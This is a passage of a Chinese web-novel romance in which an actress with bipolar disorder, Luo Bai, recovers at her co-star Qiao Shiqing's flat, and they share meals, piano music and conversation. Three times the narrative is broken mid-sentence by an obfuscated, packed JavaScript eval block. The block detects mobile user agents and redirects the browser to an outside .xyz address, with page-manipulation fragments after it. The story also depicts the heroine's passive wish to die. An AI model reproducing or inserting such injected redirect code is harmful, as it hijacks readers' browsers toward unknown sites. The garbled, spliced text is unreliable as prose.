洛白双唇微张,嗫嚅着什么。 乔时青凑过去,听见她很轻地说:“有束花……” 乔时青抬眸看向刚才那盏路灯处,原来还放着一束花。 他不计其烦地回到原地给她抱回那束花,里头插着工作人员的亲笔贺卡,花朵被霜雪打了,已经有些凋败之势。 等乔时青再度回到车上,他发觉洛白像是要凋谢了一样。 她闭着眼,睫毛不住地颤动。 他把手背贴在她的额头上,幸好,没有发烧。 他的温度好像让她突然清醒了一些。 洛白睁眼看他,带着点难以置信:“你怎么会来这儿?” 乔时青的手搭在方向盘上,不答反问:“那你为什么要来这儿?你不是说你不来吗?” 洛白把那束花放在自己的膝盖上:“我来运动,顺便思考。” 乔时青:“你知不知道你在这个时间点、这个天气下一个人上山可能会出事的。” “我知道。”洛白静静地说,“其实出事也没有关系。只是我想爬爬山,冷静一下。” 她没有骗他,她真是这样认为的。 就在傍晚,她只觉得自己精力充沛,爬一座山对自己来说不是什么难事——她也确实做到了。她那一腔的精力满身的电量也在她到达花田的那一刻终于如愿以偿地开始迅速耗尽。 现在她总算久违地感受到了精疲力尽的滋味。 或许她一开始确实是需要那些旺盛的精力来帮自己处理繁杂的工作,但现在一旦无事可做,这些过度的能量就叫她无所适从。再那样下去,她想她迟早会爆炸的。 而洛白这些过度的能量一旦低于100%就开始报复性下降,从100%到50%到1%,她现在坐在这儿几乎是用尽力气才能气若游丝地说出一两句话来。 出乎她意料的是,乔时青没有去质疑她,只是轻轻叹了一口气:“我送你回家吧。” “不要。”她轻声说。 “你需要休息。” 片刻,他听到她奄奄一息地说:“我没有家。” 乔时青的心猛然怔住,他转过去看她,她已经闭了眼,像是睡着了。 43. 他家 洛白无力地睁开眼,周遭的一切都无比陌生。 她不知道自己在哪儿。 她没有起来,仍然躺在那里,她不在乎这里是哪里,又或者说她已经没有多余的力气去在乎这些事情,也没有多余的力气坐起来。 她的目光花了许久才适应了屋内的昏暗,房间内的摆设在她眼前清晰起来。 简约又不失设计感。 在她想要进一步去描述这个房间之前,洛白又陷入了昏睡。 - 不知道过了多久,洛白又醒了过来。 房间内开了一盏灯,色调柔和并不刺眼。 她感受到有一股熟悉的气息,她的视线慢慢地聚焦。 过了一会儿,她看清了坐在自己身边的男人。 “是我弄醒你了吗?”乔时青问。 洛白仍然疲惫,没有说话,只是摇了一下头。 “要不要吃点东西?喝点水什么的?” 洛白张了嘴,嗫嚅了几下才能发出声音:“乔时青。” “我在。怎么了吗?” 洛白发现自己看不清他的脸,于是她闭眼再睁眼,她眼睛的聚焦功能好像紊乱了似的,他的身影在她面前一下清晰一下模糊,这使她分不清自己究竟是在梦里还是在现实,于是她问:“我在做梦吗?” 乔时青好像微笑了一下,他放轻声音:“你醒了。我送你去哪儿,所以我把你带来了我住的地方。” 他又说:“你睡了一整天,现在已经是晚上了。我有些担心你,所以过来看看你。你还困的话就继续睡,没关系。要是饿了就起来吃些东西再睡。” 她没有说话,任由自己的意识模糊下沉。 她现在就像一只耗尽电量的废旧电池,只是静静地躺在那里等待报废。 她的意识忽而模糊忽而清醒,她没能睡着,只是愣愣地睁着眼。 她目光涣散地盯着天花板。 乔时青看她这副失神的模样没有太惊讶。他有心理准备似的意料到她现在的低落。只是他不知道自己这个时候应该做点什么或者说点什么。 半晌,他想到一个话题,就试着问:“你在桃山思考了什么?” “我在想执念。”洛白声音很轻,他得聚精会神地听才不会错过她吐出的每一个字。 “你觉得什么是执念?”她问。 “想得到。”乔时青停顿一下,“太想得到,就是执念。” 她又问:“你说有执念是一件好事吗?” “当然不好。”乔时青说,“执念就像是精神上的一场发烧。虽然很炽热,让人亢奋,但总归是伤害自己的。” “发烧……”洛白拧起眉,像在理解他的话,“那怎么才能放下执念?” 乔时青沉默一会儿:“其实想放下这件事本身也是执念。你一直想着要放下,就很难真的放下。” “那怎么办?” “顺其自然就好了。”乔时青说,“不要强迫自己做任何事。” 洛白渐渐回忆起来。 她在桃山上就想到了,她知道自己不想得到。 不想得到,又怎么会是执念? 齐彷当时笃定般的话语像一根针扎在她的心脏上。 跨年晚会后台,她和金灵也聊到执念。后来她和她说,她宁愿许诺死掉,都不想接受他移情别恋的事实。 可洛白不是这样的。她对齐彷的爱在谁身上这件事早就无动于衷。 《封玄境》开拍前,他和朝夏总裁的婚事就在圈内传得沸沸扬扬。她听到也只是愣了一下,仅此而已。 可是为什么——她不明白,为什么他的话语他的行为还是会让她的情绪这样波动。 她觉得在他面前失态的自己很狼狈。 她讨厌那样的自己。她恶心那样的自己。 可她无法控制自己的情绪。 洛白陷入自恶与内耗的情绪漩涡,喃喃自语般说:“可是为什么明明不想要了,还是那么在意?” 乔时青不知道她具体在指什么,但还是从他的角度给她答案:“可能因为习惯了吧。” “习惯了?” “任何事情一旦成为习惯,就会有惯性。对某件事、某个人也是一样,在意久了就有惯性。到后面不再做这件事了,也会下意识地在意。” 是这样吧。惯性而已。 她以前习惯在吃吐司的时候喝牛奶,从冰箱里拿吐司的时候会顺手把牛奶拿出来。后来不再这样搭配了,拿吐司的时候也会下意识地把牛奶拿出来。 只是惯性般拿出来而已。她又会放回去。因为她已经不爱喝了。 “……也是。” 洛白突然笑了,她的眼泪毫无征兆地掉下来。 乔时青有些慌神:“是不是我说错什么话了?” 洛白转过身背对着他,带着一些哽咽说:“没有。我只是觉得和你聊天很开心。” 乔时青不知道她说的是不是实话:“要纸巾吗?” 洛白摇头,她蜷缩在被子里,又谈回刚才的话题:“那你呢?你有执念吗?” “我……”乔时青叹了口气,“我当然也是有的。” 洛白听到这话又转身过来,视线落在他身上。 灯光淡淡拢在乔时青周身,勾勒他出挑的轮廓。 她不禁说:“连你——连你也会有想要又得不到的东西吗?” 乔时青无奈一笑:“我又不是神。哪里能想要就得到?” 洛白躺在那儿望着他,双眸像是覆着一层薄薄的水雾。 楚楚动人。 乔时青只好移开目光,若无其事地站起来。 “你要走了吗?”她的声音格外柔软。 “我——”乔时青的心跳在无理地加快,他迅速扯来一个借口,“我去给你倒杯水?” “可我不渴。”她说,“我也不饿。” 说话间,洛白的意识开始模糊。 自从离开桃山,她只觉得万分疲倦。思考与对话都极其耗费她所剩不多的力气。 她终于朦胧地察觉到自己该吃药了。 在躁狂期,她很难意识到自己发作了。她只是觉得自己状态格外好,精力旺盛,状态饱满。只有那种亢奋达到顶峰,让她难以承受又迅速将她推向沉郁的深渊,她才会意识到原来自己是犯病了。 “药……”她食指微抬,很轻地说。 乔时青弯下身听她说话:“什么?” 洛白的意识被什么拖着向下坠落。 她想回答他,但在她能开口之前,她的眼皮已经彻底合上。 总是这样。 躁动的时候几天几夜睡不着,抑郁的时候哪怕只是说话都累。她受够了在这样两极的情绪里辗转反复,她受够了失控的自己。 这次闭眼,洛白希望自己永远不要醒过来。 - 事与愿违。她还是醒了。 她的头很昏沉,浑身都有些痛,但好歹有了一些力气。她缓缓坐起来,揉了揉脑袋。 就那样呆坐了几分钟,她一手扶着墙壁站起来。 窗帘很遮光,让人不知道现在是什么时候。 洛白慢慢地走出了房间,视野内一瞬间大亮,晃得她忍不住闭上眼。 好一会儿才适应了客厅的光线。 客厅是意式简约风,以米色和咖色为主色调,摆设装修给人一种温和平静的感觉。落地窗前还静静摆着一架三角钢琴。 洛白的目光很快被茶几上的花瓶吸引了。摄制组送给她的那束紫罗兰以色彩协和、位置妥当的搭配方式插在一个白瓷花瓶里,水灵鲜活,成了整个客厅饱和度最高的存在。 她抬眸,玻璃窗外仍在下雪。 远处住户阳台上挂着的灯闪着橘红色的光芒,快要除 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14516041|147798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夕了,新陵人大都习惯在过年时整日点红灯。 有一股香醇的气味似有若无地飘过来,萦绕在洛白的鼻尖,她循着香气的来源走去。 厨房里温着一锅小米红枣粥。她愣了愣,拿着长勺舀了一舀,清香的热气瞬间散开来。 “滴——” 开门的动静让洛白立马放下了勺子,转向玄关,像是怕被抓包似的。 乔时青颀长挺拔的背影极好辨认,他拎着几个袋子,关上门走进来,一眼便看见洛白:“吃过了吗?” “没。”洛白说。 “还是没胃口吗?我以为粥会好一点儿。” “不是。我……”洛白一时间有点局促,“没刷牙。” 乔时青忍住笑意:“不用刷。” 洛白小声说:“用。” “好吧,正好我给你准备了。”乔时青从地上那几个牛皮纸袋里拎起两个,“这里面是一些日用。你可以先去洗漱,再来吃东西。” 乔时青将袋子拎到卫生间,看洛白投向自己的目光有点惊讶,又说:“哦,我这里没有女士日用,只好临时去买,基本都是店员推荐的。要是你不喜欢的话到时候再换?” “我倒不是想问这个……” 衣物日用一应俱全的,怎么好像她要在这住下的样子? “那怎么了?” “没什么。” “这边是淋浴间,这里是洗衣机和烘干机,这边有沐浴露洗发露,吹风机就挂在这里。还有不知道的地方随时问我。” “好。” 等乔时青出去,洛白打开他留下来的袋子。一个里面放着牙具毛巾卫生巾之类的,一个里面是家居服和……内衣。她的脸慢悠悠红起来,后背默默冒出一些热气。 大约半个小时,洛白洗漱完毕,头发吹得半干,把换下来的衣物塞进洗衣机。 按下启动键,她长吁一口气,整个人脱力地用双手撑着机子。 好累。为什么洗头洗澡都这么累。 她出神般垂下脑袋,意识渐渐涣散。 “洛白?” 她听到乔时青的声音。 “嗯?”洛白如梦初醒似的抬头,“啊。我这就出来了。” 她向前几步打开卫生间的门,乔时青就站在她身前。 她距离他很近,能感受到他身上的气息,她突然很难过,又或者说,是想哭。 “遇到问题了?”他问。 “没。”洛白低着头,只是说,“谢谢你。” “这有什么。”乔时青侧身给她让路,“去吃早饭吧。” 洛白再次回到餐桌边,乔时青已经盛好了粥。白瓷浅口的盘子里有烤吐司和新鲜的蓝莓、草莓,另一碟则是满满的滑蛋、虾仁以及培根。桌上只有一套餐具。看来是给她准备的。 “这太多了吧。”她说。 “你这算是早午饭了。我不知道你有什么饮食习惯,所以杂七杂八准备了一些。”乔时青把调羹放进她面前的小米粥里,“你要是想吃别的,再和我说。” “很够了。”洛白拿起调羹,她的右手却在不受控制地抖动。调羹因为她的手抖撞到碗壁发出脆响。她怕被乔时青注意到,仓促换成左手拿调羹,勺了一口粥放进嘴里。 乔时青则是沉默地看着她喝粥,他能看到她放在桌下的右手,指尖仍在控制不住地颤抖。 她这副遮掩的样子,就摆明了不想让他多问。 他想,是因为她不够信任他。 但他认为他有能力接住她的信任。 乔时青说:“昨晚,我记得你和我说要吃药是吗?” 洛白动作一顿,下意识地否认:“没有吧。” 乔时青轻声说:“我都知道的。洛白。” “……” 他隔着袖子轻握住她的手腕,将她的右手牵到桌面上:“关于双相情感障碍的事。” 44. 钢琴曲 洛白愣住了,她一时间竟然不知道应该做什么反应。 “原本只是猜测。”乔时青压低身体好正视她满是惊愕的脸,“现在确定了。” 可是他怎么会知道呢? 她从来没有和任何人说过这件事。 哪怕是齐彷,也以为她只是躯体化焦虑症。 除了她,这个世界上只有姜誉飞和她的主治医生知道她的病情。 “你——难道你认识我的医生吗?”洛白问。 乔时青笑:“要是认识就好了。” “那难道你认识我弟弟。” 乔时青:“我期待认识。” “……那你怎么会知道?”洛白呐呐道,“明明只有我弟和医生知道这件事。” 乔时青一摊手:“很荣幸,现在又多了一个我。” 洛白的惊愕很快转为不安。 她认为自己的精神疾病被谁知道都不是太好的事,她还无法接受自己是躁郁症患者这件事被广而流传。万一被传播了出去—— “我不会告诉别人的。”乔时青说,“你完全不用担心。” 洛白下意识否认说:“我不是担心这个。” 乔时青好笑道:“你的脸上就写着‘拒绝告密’四个大字。” “……”洛白勺一口粥闷闷塞进嘴里。 有时候她觉得乔时青会读心。 “你需要摄取一些蛋白质。”乔时青把另外一个碟子推向她。 洛白听话地拿餐叉吃了两个虾仁。 “还有维生素。”他又说。 洛白从善如流地吃了几颗蓝莓,不知道是想转移话题,还是真的好奇,她转向摆在客厅一角的钢琴问他:“你喜欢弹钢琴吗?” “我小时候想要当一个钢琴家。弹了很多年。”乔时青说,“虽然现在荒废了,但住在哪里总是习惯配一架。” 乔时青看她若有所思的模样,就问:“想听吗?” “想。”洛白不假思索地说。 乔时青笑了下。她挺少这样坦率。 于是他在钢琴前坐下。 悠扬动听的音乐顿时从他的指尖流出来,缓慢而温和地徜徉在整个房间里。洛白看着他修长的双手在钢琴键上舞动,看着他专注而认真的侧脸、挺直的身形,为这首逐渐将她带到另一个地方的音乐而失神。 她从小学声乐,乐感与唱商都很高,本就对音乐十分敏感。 在这首古典钢琴曲响起的时候,她听出这是李斯特的《爱之梦》。宁静绚烂又真挚虚幻的一首乐曲。 在记忆里,她只在很小的时候,在一场音乐会上听过《爱之梦》的现场演奏。即便对那时的印象已经十分模糊了,但她还是清楚,无论是情感还是演奏技巧都是眼前人更胜一筹。 在不到四分钟的时间里,她好像听见一个人在诉说着无果的盼望,其间温柔又热烈,最后声音轻下来,那场盼望也成了一场远去的梦。 一曲结束,洛白还意犹未尽地望着乔时青。 他弹得太好了。 “喜欢听吗?”乔时青问。 “嗯。如果你没有做演员,一定会成为一个出色的钢琴家。”洛白说,“不如你再弹一首吧?” 乔时青却站起了身,眼里有些笑意:“我们应该礼尚往来。” “我不会弹钢琴。”洛白见他走过来,又补充说,“我什么乐器也不会。” “我想听你唱歌。”乔时青说。 “唱歌?”洛白想他说的有道理,就问,“你想听什么?” “听你现在想唱的歌。” 洛白低下头沉吟了一会儿:“我小时候,妈妈教过我一首歌。但是我记得不太清了。” “没关系。随便唱吧。” 那是一首法文歌。 她妈妈也是从小就学声乐。在洛白久远模糊的记忆里,已经不再退出声乐领域的妈妈时常会吟唱那首歌。凄凉又哀伤的歌声总是让年幼的她难过。她那时想如果她能努力学习让妈妈满意,或许妈妈就不会那么难过。 直到后来她知道了歌词的含义,她才意识到,妈妈大概永远不会快乐了。 “爱的欢乐, 只存在过片刻, 爱的痛苦啊, 却持续了整整一生。” 短短四句。 乔时青却有种被吃死了的感觉。 洛白的歌声一如既往地吸引他。 其实他第一次听她唱歌,就对她留下了深刻的记忆。 一年前的一档音乐竞演节目,他被简言之拽去看现场。洛白是当期的演唱嘉宾,她唱了一首电视剧插曲《远距离》,算是宣传。 他坐在台下凝望舞台上的她。那三分钟里,他听见了歌声里传达出无法掩饰的悲伤与破碎,叫他想一探究竟。没想到后来在晚宴,她会主动来找他。如果说一开始他还能够抱着欣赏又玩味的态度作壁上观,那么后来的事已经远远超出了他的预期。 ——洛白几乎占领了他的世界。 若有若无的歌声,时隐时现的月亮,远方吹过来的风,专有名词满页的书本,所有的一切里,她都没有出现,可他无法不想到她。他开始渴望见到她,待在她身边,哪怕什么也不做——就像现在这样。 “你……”乔时青尽力回过神,“你喜欢唱歌吗?” 很少有人问洛白这个问题。 她说:“小时候妈妈希望我做一个声乐家。那时候只是觉得如果我唱得好,妈妈就会高兴。后来进了ID,唱歌更是工作的一部分,很平常了。至于有多喜欢,可能谈不上吧。” “那你唱得那么好,妈妈和老师应该都很骄傲吧?” “骄傲……” 洛白把双手放在膝盖上,一阵凉意便从膝上传了过来。 “不知道从什么时候开始,无论我怎么努力,妈妈都不太开心了。” “后来因为我去做艺人,老师很生气,也就不再联系了。” 在洛白关于童年的记忆里,只有妈妈那种偏执的眼神和脸色阴沉永远无法讨好的父亲。 “成为歌唱家是妈妈的愿望,洛洛一定要帮妈妈实现好不好?” “好的,妈妈。” “如果你表现得再好一些,爸爸也会为你高兴的。” “恩。” “为什么今天没有好好地跟着老师学习?” “阿姨说,别的孩子都会出去玩——” “你是我的孩子,你必须要很优秀,知道吗?为什么要把时间花费在那种事上?” “……我知道了,妈妈。” “答应妈妈,一定要为了你成为歌唱家的梦想努力,可以吗?” “可以的,妈妈,我答应你。” “可是妈妈, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14600926|147798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爸爸是不是不喜欢我。为什么他从来都不笑呢?” “……” “洛白。” 洛白突然感到肩上有一股暖意,她反应过来,是乔时青将手轻轻地放在了自己的肩上。 “……嗯?” “你这样会做噩梦的。” 洛白说的话让乔时青想起了宁岚告诉他的关于洛知雅的事。 他完全可以想象到偏执的母亲将自己未完成的心愿与梦想强加到女儿身上的场景。 他看到她沉湎在自己的梦魇里,整个人有些摇摇欲坠。他伸手扶住她的肩,洛白微微张开眼,望向他轻声说:“我困了,我想去睡一会儿。” 他知道对于很多抑郁期的人来说,睡眠是身体逃避痛苦的一种机制。 “好。”他说。 每次双相情感障碍复发,洛白总会在躁狂期过后陷入嗜睡的抑郁期。 她昏昏沉沉,反应迟钝,像梦游一样。精力很少,一下子就累了。而且这种累是那种身体深处生发出来的疲倦,她明明什么都没做,可就是觉得累。累得连眼睛都睁不开,累得连呼吸都成为负担。 她忘了自己是怎么回房间的,也忘了自己是怎么睡着的。 她睡得不熟,期间又醒了好几次,但每次一醒很快又睡着了。等她彻底清醒的时候,脑袋还是晕乎乎的。 她走到窗边掀开窗帘,外面夜色很重。但在万籁俱寂的夜色中亮着许多象征喜庆的红灯。 马上就要除夕了,姜誉飞这个时候应该已经和他的父母团聚了吧。 洛白这才想到自己应该去找一下手机,看看有没有什么待处理的消息。 她来到客厅,很快看到她的包就放在玄关处的置物柜上。 客厅还亮着灯,但没有一点儿动静。 洛白四下张望,没有看到乔时青的影子。 不知道为什么又低落了一点儿。 她走到置物柜前拿出自己的手机,没看到什么工作消息。好在前几天基本行程都跑完了,大概还有四五天的空窗期可以休息。 姜誉飞给她发了几条信息,都是问她还好不好住在哪儿之类的。 洛白回了两句,突然想到自己已经在乔时青这里借住了两天。 无缘无故打扰他这么久,也是时候该离开了。 总不能就这么白吃白住吧。她既没有什么正当理由,也没有什么合适的身份继续待在这儿。 正想着,开门的声音就在不远处响起来了。 乔时青从一个房间走出来,顺手关上了门。 “我以为你不在呢。”洛白说。 “我在书房处理一点事情。”他解释说,“你感觉好些了吗?” “好些了。”洛白应了声,犹豫着该如何和他开口,“这两天谢谢你,添麻烦了。” “这有什么。” 乔时青说着向她走过去。 他预感她是要走了。 他不想让她走。 但新年将近,她总是要回家和家人团聚的。总不可能大过年的,还把她留下来吧。 这样一想原本的挽留就没能说出口。 乔时青最后只是看着她:“我乐意。” “我一会儿就收拾收拾,准备——” 话还没说完,洛白手里的手机震动起来,她撇了一眼,是姜誉飞打来的电话。 45. 烤吐司 “你先接吧。”乔时青说。 于是洛白接起来:“喂?怎么了?” “你在哪儿啊?”姜誉飞问。 “我在……”洛白支吾了一下,“我在宿舍。” 乔时青看她心虚的表情,挑了下眉,顺势靠在一边。 他凝神听还能听到对方的声音,像鸭子一样,有点聒噪、沙沉,还有点耳熟。 “宿舍?”姜誉飞又问,“你们宿舍现在还有人?” “没有了吧。” “有就是有没有就是没有,什么叫‘没有了吧’。” “这有什么好纠结的。”洛白想转移话题,又说,“你和阿姨她们见到面了吧。” “啊,哦,一周前他们就回国了——要不我去找你?” “不用了,你好好陪他们吧。他们回来一次也不容易。” “行吧。要是你要——”姜誉飞顿了下,不知道自己该不该说,“我妈说要是你有空的话……” 他说到这就没有再说下去,他妈前两天是有提到过和洛白见面的事,但他觉得这不是什么好事。洛白不会想要见他们的。 “我这段时间挺忙的。”洛白说。 姜誉飞当然知道她这是在委婉的拒绝,但他没有点破,只说:“嗯,那你也别累到自己了。等他们走了我再告诉你。” “嗯。” “你别忘了吃药啊。”他又叮嘱说。 “嗯,好。” 挂断电话,洛白不自觉地松了口气。 “是你弟弟的电话?”乔时青问。 “嗯。” 从他们的对话看来洛白好像没有回家的打算。那么这个新年她要去哪儿?据他所知,今年她可没有上春晚的安排。 “你过年不回家了是吗?”他直接问。 洛白原本不打算说实话,但转念一想他问这种话就是已经听出来了。她也就没有隐瞒地点了点头:“我们家情况有点特殊。我没打算回去过年。” “既然如此,你不如留在这儿。”乔时青没来得及多想,直接把心里的诉求提出来了。 洛白刚才还打算跟他说要走的事,听他这么一说结巴了下:“我——呃。这两天已经够麻烦你了。” 乔时青迅速地思考有什么合理又体面的理由将她留在这。 他还记得白天她恹恹地靠在他的手上,就那样睡去。 那时他连忙伸出手臂接住她,她便顺势倚进他怀里。 洛白的头发蹭着他的脖子,绵软的身体贴着他。他几乎不敢动,一室寂静里他听到自己暴起的心跳声。当下他有一种不可遏制的,将她紧紧锁进怀里的冲动。 这短短的两天,他已经有过无数次心动的时刻。或许是因为她和他共处一室这个事实本身就让他心动。哪怕是现在,她无声地望着他,带着明显的疲惫柔弱地倚在他家的墙上。在他内心那正直的心疼之下,仍然涌动着一股难以控制的将她一把抱进怀里疯狂亲吻的欲望。 这显然不够高尚,好在他虽然无法控制自己的欲望,但仍然能够控制自己的行为。 乔时青压下暗涌的情愫,只说:“你的身体现在还很虚弱,外面天气又这么冷,去宿舍或者酒店也都不方便吧。” 他又说:“至少我这儿肯定比酒店周到啊。” 他补充的这句话叫洛白笑了。 “你这是民宿吗?还周到呢。” “你要愿意的话,也可以把我这当民宿。” 洛白试探地向他望去:“那要是你不嫌麻烦的话,我就再打扰两天……?” “当然。”乔时青几乎掩饰不住笑意。 两人安静了一会儿。 “对了,你现在饿吗?”乔时青说,“中饭和晚饭你都没吃。” 洛白难得地感受到饿了:“有点儿。” “你想吃什么?” “想吃什么都可以?” “可以啊。”乔时青看了眼时间,不算太晚,新陵的大多餐厅应该都开着,叫个闪送来得及。 洛白想了想说:“我想吃厚切烤吐司。” “嗯?”乔时青错愕,“就这样?” “最好是涂了开心果酱的。”洛白又怕他觉得自己多事,“没有也行。” 乔时青笑了声,他顿时只觉得她可爱:“这还不简单。还要别的吗?” “不要了。” “那好,等我两分钟。” 他从冰箱拿了厚切吐司塞进多士炉,趁着烤吐司的时间又热了一杯鲜奶。等金黄酥脆的吐司从多士炉蹦出来,他就往上面细细涂了一层开心果酱。 烤面包特有的香气飘过来。 洛白坐在沙发上安静等待,双眸在不知觉间泛起一股期待。 乔时青把碟子和牛奶放在茶几上:“想吃别的再告诉我。” 烤过的吐司散发着特有的香气,她小心翼翼拿起一片咬了一口。外表酥脆,内里松软,同时又夹杂着开心果碎以及清甜的坚果酱。面包果然有治愈人心的力量……! 她眼睛一亮:“好吃。” 乔时青也笑:“你喜欢吃开心果酱是吗?” “我吃吐司的时候,基本上只会涂开心果酱。但是你知道吐司毕竟是碳水化合物,涂了开心果酱之后热量就高了。所以平时不怎么能吃。”洛白咬了一口又说,“偶尔像这样吃一次就会很满足。” “但其实你的身体非常需要热量。” “我们公司的身材管理还蛮严格的,特别是针对女艺人。有时候胖了一点,上镜就不太好看了。” “你再重十斤,上镜也非常好看。” 在乔时青看来,洛白简直太过纤弱。这使得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14617203|147798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的身体免疫力很差。缺乏营养对于双相的恢复也是不利的。 他伸出手握住她的手腕:“你看,我一只手几乎就可以握住你两个手腕,我多用点力气就可以把你捏碎了。” 洛白忍不住笑:“你把我捏碎做什么。” “我当然不会。不过这种心理是基于‘可爱侵犯’,是觉得你太可爱了才会有忍不住捏的想法。” 说着,乔时青的目光下移,落在她那被他握住的手腕。突然,他陷入可疑的沉默,不到两秒赶紧若无其事地松开。 洛白被他握过的手腕还保留着一种温热感。幸好他很快松开,不然她的耳根就会发红。 她低头咬了一大口吐司,细嚼慢咽吞下才说:“但是说真的……” 现在回想,那天晚上她抽风似的去爬山,如果不是乔时青来找她,她说不定会死在山上。 虽说她并不排斥那样的后果,甚至她坐视自己走向那样的后果,但现在坐在温暖的屋子里吃烤吐司——还是涂了开心果酱的——显然更让她感到久违的安心。 乔时青总是这样让人有安全感。 他有一种热烈、通透又坦然自洽的个人磁场。 而且周到又有分寸感。 还很有趣。 同时还长得那么好看。 “我真的很感激你。”洛白真挚地说,“你是一个非常好的人。” “……”乔时青的表情有些无奈。 他好像并不喜欢她感谢他……? “你——”乔时青揉了揉自己的眉头,哭笑不得道,“不可以再给我发好人卡了,知道吗?” “为什么?我真的觉得你是一个好人。”洛白说,“你帮了我很多次。” 事实上,尽管他从没说过,但洛白知道她当初成功拿到《封玄境》的角色也是因为乔时青的推荐。作为资方公司的股东,对于选角他显然有话语权。显然她现在能凭借《封玄境》火起来,也有他不可或缺的功劳。 更别说后来那么多次他对她伸出援手。 “谢谢”这两个字,她都不知道该说多少次。 但她也不知道除了道谢之外,要再做一些什么别的来表达谢意。送礼?在她看来,乔时青什么也不缺。请客?但到最后总是他来付账了。 “因为你这么说显得好像我是什么路见不平拔刀相助的正义使者。”乔时青说,“但事实上我是一个很自我的人。我从不多管闲事。我觉得大多数人都是自作自受。” “可是你……”洛白抽了一张餐巾纸慢慢擦干手指,“总是管我的事。” “那是基于我的私心。”乔时青说,“而不是我的良心。” 洛白的动作停住了。她若有所思的神情让他的心脏骤然一紧。 他紧盯着洛白——她会怎么想他的话?她会做什么回答? 46. 看电视 洛白沉默了一会儿,把那张餐巾纸慢慢攥进手里:“所以……你会觉得我是自作自受吗?” “啊?”乔时青居然没反应过来。 洛白一直在琢磨他刚才的解释:“你是不是觉得我去桃山的行为很荒唐?就算死在那里也是自作自受?” “当然不是——” “可你刚才那样说。” 她不也是“大多数人”吗? 他到底是怎么看她的? 他是不是觉得她无病呻吟,认为她咎由自取,打从心底里瞧不起她? 洛白的声音低了一些:“其实你说的对。我就是自作自受。还麻烦你特地跑一趟。” “不不不。”乔时青连声否认,“洛白,你误会了。” “是吗?”洛白直视着他,“你敢说你从来不觉得我的行为荒唐吗?” 乔时青不想骗她。 他沉了下呼吸:“我承认。我确实觉得你的部分举动有些奇怪。” 她觉得他那么好。但他却觉得她奇怪。 乔时青的坦诚刺痛了洛白。 她现在只想立刻离开这里。 洛白移开视线,很快站起身打算走。但他一把握住她的手腕,又把她拽回了沙发上。洛白皱着眉要挣开。乔时青不算用力,但刚好是她扯不开的力道。 “难道我所有的举动在你眼里都很合理吗?”乔时青问。 “……”这倒是没有。 他说她奇怪,那他自己大半夜跑桃山来就不奇怪吗? “你看,本来一个人的行为就不可能都正常啊。”乔时青继续说,“我之所以会觉得奇怪,是因为我不够了解你。我不了解你,自然就不知道你的行为逻辑,自然就会觉得你做这件事奇怪。如果我知道你为什么去桃山,那我怎么会不理解你呢?” 洛白花时间消化了下他这几句话:“所以你的意思是,你不了解我,所以才会觉得我奇怪。” “是。很遗憾我不够了解你——但我很想了解你,洛白。”乔时青看着她说,“你对我来说绝对不是所谓‘大部分人’,你是绝对特别的。再说了,‘奇怪’在我这儿可真不是什么贬义词。” 乔时青的话像一阵阵热浪吹到洛白的脸上,搅得她双颊发烫。 她别过脸,小声地说:“你还要握多久。” “啊。抱歉。”乔时青松开她,目光却还钉在她身上。 洛白有些慌乱,她装模做样地开始打量这个客厅:“你这个客厅还有电视呢。” “确实。”乔时青配合她说,“你要看吗?” “好啊好啊。”洛白连着应了两句。 乔时青想笑,他压着嘴角的弧度打开电视:“你想看什么?” “都可以。” 乔时青随手划了几下页面,看到显示屏中央正在热播的《封玄境》界面:“不如看这个吧。这个最近热度很高。” “啊别吧。” 和乔时青一起看自己出演的戏也太……她才不要。 乔时青又往下划,看到综艺栏目里的《假如爱情》:“那这个呢?” 洛白撇了一眼标题,脸上更烫:“不行!这个也不好看。” 乔时青不紧不慢地念标题:“‘洛白林天宇甜蜜约会’,听起来应该不错?” “都是节目组乱取的标题,博眼球用的。”洛白说。 乔时青看她一眼:“甜蜜吗?” “一点儿也不。我是被顾若敏临时叫去的。” “哦?那你们俩下了节目之后还有联系吗?” “……”洛白犹豫了下,坦白从宽道,“没怎么联系,就是他偶尔会给我发几条消息。” “那你们挺投缘?” “当然没有了,你知道的,我——我也不是那种会和别人聊天的人。”洛白担心他误会,“真的几乎就是没有联系。” 乔时青看她焦急解释的模样,嘴边有按捺不住的笑意,他还是调侃她说:“行吧。洛大明星,果然是魅力无极限呢。” “胡说八道。”洛白郁闷地瞪了他一眼,“我宁愿看《封玄境》。” “好啊。”乔时青又倒回去点进《封玄境》,“你想从头看还是看最近的?” 洛白嘴角抽动了下:“那就看最新一集吧。” 大屏幕导入主题曲。 乔时青调暗灯光,又拿来了一条毯子给她。 “谢谢。”洛白接过来。 其实他家很暖和,无论是温度还是设计,都让人觉得温暖。 